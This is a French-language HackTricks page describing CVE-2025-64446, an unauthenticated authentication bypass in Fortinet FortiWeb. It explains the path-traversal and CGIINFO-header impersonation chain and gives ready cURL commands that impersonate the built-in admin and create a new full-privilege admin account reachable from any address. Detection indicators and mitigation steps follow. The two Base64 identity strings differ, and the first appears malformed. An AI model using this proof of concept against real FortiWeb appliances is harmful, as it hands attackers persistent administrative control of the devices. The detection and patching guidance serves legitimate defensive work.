Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Aperçu
Fortinet FortiWeb expose un répartiteur CGI centralisé à /cgi-bin/fwbcgi. Une chaîne de deux bugs permet à un attaquant distant non authentifié de :
- Reach
fwbcgiby starting the URL with a valid API prefix and traversing directories. - Impersonate any user (including the built-in
admin) by supplying a special HTTP header that the CGI trusts as identity.
Avis du fournisseur : FG‑IR‑25‑910 (CVE‑2025‑64446). Une exploitation a été observée dans la nature pour créer des utilisateurs admin persistants.
Versions impactées (selon la documentation publique) :
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23
FortiWeb 8.0.2 renvoie HTTP 403 pour la sonde de traversée ci‑dessous.
Test rapide de vulnérabilité
- Path traversal from API prefix to
fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- Interprétation : HTTP 200 → probablement vulnérable ; HTTP 403 → corrigé.
Enchaînement des causes
- Traversal de chemin depuis le préfixe API vers le CGI interne
- Toute requête dont le chemin commence par un préfixe FortiWeb API valide (p.ex.,
/api/v2.0/cmdb/ou/api/v2.0/cmd/) peut traverser avec../jusqu’à/cgi-bin/fwbcgi.
- Contournement de la validation minimale du body
- Une fois
fwbcgiatteint, une première barrière effectue une vérification JSON permissive basée sur un fichier spécifique au chemin situé sous/var/log/inputcheck/. Si le fichier est absent, la vérification réussit immédiatement. S’il est présent, le body n’a besoin d’être que du JSON valide. Utilisez{}comme body minimal conforme.
- Usurpation d’utilisateur via les headers
- Le programme lit la variable d’environnement CGI
HTTP_CGIINFO(dérivée de l’en-tête HTTPCGIINFO), la décode en Base64, parse le JSON, et copie directement des attributs dans le contexte de connexion, définissant le domain/VDOM. Clés d’intérêt : username,loginname,vdom,profname- Exemple de JSON pour usurper l’admin intégré :
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
Base64 de ce qui précède (tel qu’utilisé en conditions réelles) :
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
Schéma d’abus de bout en bout (non authentifié → admin)
- Atteindre
/cgi-bin/fwbcgivia an API-prefix traversal. - Fournir n’importe quel corps JSON valide (e.g.,
{}) pour satisfaire la vérification d’entrée. - Envoyer l’en-tête
CGIINFO: <base64(json)>où le JSON définit l’identité cible. - Envoyer en POST le JSON backend attendu par
fwbcgipour effectuer des actions privilégiées (e.g., créer un utilisateur admin pour la persistance).
PoC cURL minimal
- Sondez l’exposition au traversal:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- Se faire passer pour un admin et créer un nouvel utilisateur local admin :
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
Remarques :
- Tout corps JSON valide suffit (par ex.,
{}) si/var/log/inputcheck/<path>.jsonn’existe pas. - Le schéma d’action est interne à FortiWeb ; l’exemple ci‑dessus ajoute un administrateur local avec tous les privilèges.
Détection
- Requêtes atteignant
/cgi-bin/fwbcgivia des chemins préfixés par l’API contenant../(par ex.,/api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi). - Présence de l’en-tête
CGIINFOcontenant un JSON encodé en Base64 avec les clésusername/loginname/vdom/profname. - Artefacts backend :
- Fichiers par chemin sous
/var/log/inputcheck/(configuration du gate). - Création inattendue d’un administrateur et modifications de configuration.
- Validation rapide : la sonde de traversal renvoyant 200 (exposé) vs 403 (bloqué dans les versions corrigées).
Atténuation
- Mettre à niveau vers des versions corrigées (exemples : 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) selon l’avis du fournisseur.
- Jusqu’à ce que le correctif soit appliqué :
- Ne pas exposer le plan de gestion FortiWeb aux réseaux non fiables.
- Ajouter des règles reverse-proxy/WAF pour bloquer :
- Les chemins qui commencent par
/api/et contiennent../cgi-bin/fwbcgi. - Les requêtes portant un en-tête
CGIINFO. - Surveiller et alerter sur les indicateurs de détection ci‑dessus.
Références
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass — Detection artefact generator
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

